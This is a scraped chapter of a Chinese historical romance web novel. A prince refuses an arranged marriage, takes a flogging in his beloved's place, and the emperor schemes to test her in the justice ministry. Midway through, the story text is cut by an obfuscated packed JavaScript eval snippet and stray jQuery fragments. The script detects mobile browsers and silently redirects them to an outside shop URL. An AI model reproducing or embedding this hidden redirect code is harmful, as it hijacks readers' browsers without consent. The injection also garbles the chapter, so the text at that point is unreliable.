默认冷灰
24号文字
方正启体

129. 君臣

作者:闲闲呀本书字数:K更新时间:
    “你敢编排官家?”猛地掐住她的要,褚停云不可思议地瞧着那双笑意不减的眼眸,“还是说,你等不及赶紧守寡好另嫁?”


    拍掉借机使坏的爪子,季寒压低了声:“这算编排吗?咱们不是在设想可能面对的境况吗?还是说,你根本就打算今儿个去娶人家?”


    “没有人家,只有你。”将她抱起些,蹭了蹭发红的鼻尖,“不过,官家能信吗?”


    黑白分明的眼睛转了半圈,“若换做上回估计难,但这次不一样,”揽住坚实的肩膀,轻轻拍了拍,她笑道,“折腾了这么几日,再不信咱常郡王一片真心,那我就给再补上一补。”


    “怎么补?”


    “欲扬先抑的道理可懂?”


    他点点头,“先骂再夸。”


    还真是一个理。眉峰一挑,季寒附上他的耳畔,“你去同官家说,我答应你可以娶太傅之女,但是她不能为正妻也不能是平妻,只能做妾。官家势必大怒。”


    褚停云瞪大了眼睛。只听她又道:“然后,你就可以在官家眼下最头疼的那桩事上做文章。”


    “沅陵的秋闱案?”


    “不错。”


    师父说过,上位者与下位者之间,若要保持稳定的合作除了共同的利益,便是他进你退,他退你进,顺势而为,相互借力。


    “那为何不能说我不答应这门婚事,单拿秋闱案做文章?”


    她靠在他怀里,“若不给官家一个可以名正言顺反悔的理由,他如何下这个台阶?大多男子眼中认为女子善妒,我不过是顺势而为,成全他的猜测罢了。”


    而且于欧阳太傅,欧阳娘子,即便有人将他与官家的话传出去,也只会道是常郡王被蒙蔽了眼,倾心一个上不了台面的女子。


    下颚贴着她的额角,他低语道:“傻姑娘,别忘了,我在官家眼中也曾是个混账透顶的。”


    善妒的,不是只有女子,男子若嫉妒起来可没有女子什么事了呢。


    砰,大力拍在案头,骤然拉回褚停云的思绪。


    “你傻?难不成她认为官家也是傻的?”


    片刻的沉默之后,龙椅上的男子在回味过他的话语,勃然大怒。


    “小小一介贫民女子,她哪来的胆子?”


    屈身伏地,褚停云惶恐道:“她并未此意。都怪臣,怪臣总生怕她琵琶别抱便全都由着她,也怪臣忘了身份,竟将臣二人逗趣之言诉于官家。还望官家,莫怪。”


    曾经我行我素,言行无状的常郡王竟为一女子甘愿折腰,连一旁的老太监都忍不住偷偷打量。


    “琵琶别抱?她都还未嫁你,何来的琵琶别抱?”执掌江山的手按在书案,身为官家,身为他的皇伯,男子恨不得撬开他的脑子看看,“褚停云,你老实说,你与她,与那女子,究竟到了哪一步,为何这般维护她?”


    闻言抬头,褚停云几乎没有任何犹豫开口道:“发乎情止乎礼,不曾越雷池半步。官家明鉴。”


    鉴个……咽下到嘴边的咒骂,男子瞥了眼一旁伺候的太监。老太监心领神会,迅速屏退一干人等,自己则最后一个退出门外。然后掩上沉重的门扉,转身拂尘轻甩如石像屹立不动。


    偌大的御书房霎时只剩君臣二人。


    是君臣,亦是伯侄。


    “起来吧,”随手指了指铺着软垫的座椅,男子沉吟了会,道,“我问你,欧阳琅月与你青梅竹马自小一块长大,那季寒,与你相识不过短短数月。你怎知她堪为良配?”


    小心翼翼搭了半边座椅,褚停云歇了口气,轻声道:“一见倾心,再见倾情,虽是短短数月但臣却心中明了,今生非她不娶。”


    季寒若晓得他撒谎时眼不眨心不虚,不知会不会高看他一眼?反正他那皇伯冷笑着扫了他一眼。


    “你惯得好啊,所以她已经胆大妄为到敢当街纵马了是吗?”


    瞅了瞅冰凉的地面,褚停云无声叹气,膝盖一拐麻溜地再次跪倒在地。


    “是臣的错,她是不舍臣。”


    “不舍什么?不舍你成了别人家的女婿,还是不舍常郡王妃的头衔?”瞪向这不争气的侄儿,“常言道男儿膝下有黄金,你数数,你为她跪了几次?”


    可季寒告诉他,该跪的时候赶紧跪,面子啥的都不如命重要。何况,不就认错服软嘛,他应该十分熟悉了。


    更何况——


    “臣跪君乃天经地义。”


    他却觉着不够,官场大忌就是壁垒分明,而对君王则忌讳模棱两可,遂又道:“官家每日操心天下大事尚还不及,臣不仅不为官家分忧,还拿此等小儿女琐事烦官家。臣惶恐,臣有罪。”


    若换做五年前的褚停云断然说不出这话,可这五年过去了,谁还会记得曾经的他呢?


    “起来吧,倒也不是说她毫无可取之处。只是,只是你应明白皇伯的意思,对吗?”


    当君自降身份,臣又当如何?


    “臣明白。”


    臣还是臣。


    “既明白,何不重新考虑一下?”


    君依然是君,君心又岂是轻易更改的?


    垂眸伫立,唇边渐渐浮现一抹笑,“所以臣重新想过了啊,兹要她心甘情愿为妾,臣可以纳她进门。”


    仿若无能为力接受了现实,而此不过一个小小,不值一提的条件,难道不行吗?


    “褚停云!”


    “臣在。”


    “你究竟明不明白,娶了欧阳琅月意味着什么?”


    “臣知,”复抬眼望去,卑微谦恭的姿态中带着那么一些桀骜,“回官家,娶了欧阳琅月意味着臣的将来,意味着臣的前程,也意味着官家对臣的信任。”


    话至此,他的皇伯也似乎不打算与他继续再磨叽下去,拂袖起身来到他的跟前。


    “你很清楚,我许你的不止将来、前程,更是对你的期望。”压低了声,男子语重心长对他道,“终有一天这江山属于太子,也只有你能辅佐他掌控这天下,不仅因为你是我从小看着长大的,也因为你的父亲是我最信任的兄弟。”


    “娶了欧阳琅月,太傅就是你的岳丈,以他在朝中的威望、人脉,难道比不上娶一个没有身份背景的女子吗?”


    话语的最后,男子已有些看不透眼前倔强的他,“停云,告诉皇伯,她能给你什么?”


    褚停云微微一笑,“也许她连一个安稳的日子都给不了我。可是,她给了沅陵学子一个公平,还了邵县百姓安宁,替一位女子伸冤昭雪,让杀害谢山长、荣修能的凶手认罪伏法,还有官家您在重压之下施行的新政,她不仅赞同,还在一步一步践行。”


    “她是女子,亦是敢于为先的百姓。臣,敢问官家,您是真心要让一位尊敬拥戴您的百姓,身体力行之际却怀疑新政面前,依然有出身、身份、高低贵贱盘桓阻碍吗?”


    顿了顿,迎着凌厉的目光,褚停云坦言道:“科举如此,嫁娶难道不应也如此吗?”


    御书房外石像般的身影动了动,苍老的手掌抚过安静的拂尘。


    御书房内,沉默比以往持续得更久。


    直到那一声长长地幽叹,叹尽了世间的无奈,叹身不由己。


    “陆侍郎也有意于她,你可知?”


    褚停云扯了扯嘴角,“季寒对他无意。”


    “听你的意思,只要她不愿,便无人可奈何得了她了是吗?”


    褚停云一愣,继而笑道:“官家可知世上哪一种人,最是令他人无可奈何吗?”


    “呵,”嗤笑一声,男子转身回到龙椅,背对着他,“太傅那我会同他说,常郡王妄图享齐人之福,言语鲁莽品行不端,不堪良配。”


    蓦然一凛,褚停云直挺挺地跪下,深深一揖道:“臣,叩谢圣恩。”


    “别急着谢恩,话还未说完,”在龙椅坐下,男子端起凉了的茶抿了口,“春闱前不得成婚,你可愿意?”


    “愿意。”褚停云想也不想地应道。


    虽不知他为何答应得如此爽快,但也算顺了男子堵着的一口气,遂继续道:“你父王自请回封地你可知晓?”


    听


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797302|185989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    闻接下来的事与父亲有关,褚停云迟疑了下,“臣知晓。”


    男子叹了口气,“本我想多留他几年,但边境骚乱一直未平。你父王愿提前回去,一则安抚当地百姓,另一则希望他能以藩王的身份驻守边境,以免外敌来袭。你……”


    似有犹豫,又似为难。


    实则,褚停云巴不得父亲赶紧离开这明争暗斗的汴京,毕竟父亲也曾道明着抗敌总比防着暗箭来得痛快。


    “官家但说无妨。”然,该装的样子还是得装得像。


    “好,”瞥了眼手边辰王递来的折子,男子下令道,“我命你,亲自护送你父亲母亲回封地,过了腊八就出发。”


    直直望去,褚停云毫不犹豫回道:“臣遵旨。”


    男子高坐龙椅之上,对于他的毅然有些意外,却也不由觉着欣慰。那么便只剩最后一事了,“依据我朝律法,纵马过街该怎么罚?”


    好整以暇,他等着能言善道的侄子告诉他。


    愣怔过后,褚停云深深吸了口气,回禀道:“依据我朝律法,诸于城内街巷及人众中,无故走车马者,笞五十(注①)。”


    微微颔首,男子扬声道:“来人。”


    扑通,褚停云发觉自己跪得是愈发地熟练,“她身子弱,经不起。此事因臣而起,臣甘愿受罚。”


    “你愿替她受五十鞭子?”


    他一咬牙,“臣心甘情愿。”


    “那行。”


    没想到,他皇伯竟没有为难季寒,直接成全了他?褚停云正觉意外,只听官家唤了声:“傅爱卿,出来吧,你负责监刑。”


    垂帘掀起,傅淮愁眉苦脸地缓缓步出,躬身一揖道:“官家,臣手抖怕少数漏数。”


    “不需要你动手,”官家宽慰他,“来人啊。”


    老太监闻声而来,“奴婢在。”


    “领常郡王下去,五十鞭子,啊对了,还有上回欠下的七板子也一并罚了。”


    老太监一愣,不过立刻俯身道:“奴婢遵旨。”


    傅淮爱莫能助地望向褚停云。但见他行了一礼后跟着老太监去了,既不挣扎也不反抗。


    无声哀叹,他也只有认命,“官家,那臣先退下了。”


    “嗯,劳烦爱卿看着些,这小子下月还要送辰王回封地。”


    屈指叩在书案,龙椅上的身影似还有心思。傅淮立刻善解人意地凑上前,“官家还有何烦忧?臣愿效劳。”


    “书院过了腊八就该放常假了,趁那小子不在,你想个法子将那丫头塞你刑部去,我想瞧瞧她到底跟崔上章学了些什么?”


    还真是出人意料。傅淮认真想了想,“老仵作最近抱怨缺个打下手的。可,季娘子断案的手法或与提刑司比较谋和,不如让她去提刑司?”


    指尖敲击着书案,“提刑司都是崔上章的故人,就怕他们护着那丫头。”


    傅淮思忖道:“提刑司那些人虽护短,但也同在崔上章手下干过,他们恰也是最能分辨这姑娘适不适合之人。官家以为呢?”


    “似乎有那么些道理,”敲击停下,天颜大悦,“好,此事就交由你去办。法子也你想,无论如何不能让人知道是我说的。”


    “是,臣遵旨。”抬起的脚又放下,傅淮扭头小声问道,“官家,要不您顺便也告诉臣,一会打常郡王,究竟该是轻点还是重点?”


    横眉冷眼,男子指着敞开的御书房大门,“打,给我往死里打。”


    “臣,遵旨。”


    朗声回道,大步迈向门口的背影都透着掩不住的乐呵。出了门外,还能听到傅尚书中气十足地嚷声:“官家有令,往死里打。”


    “……”


    一炷香后,褚停云趴在长凳上,雪白的里衣被血水浸透。


    傅尚书俯身,一脸怜悯地摸了摸他的后脑勺,“这下那姑娘该心疼死了。”


    褚停云虚弱地喘了口气,“心疼好啊。”


    啪,不客气地拍在挨揍还不老实的后背,傅尚书骂道:“浑身上下最硬的就这张嘴了,死犟。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)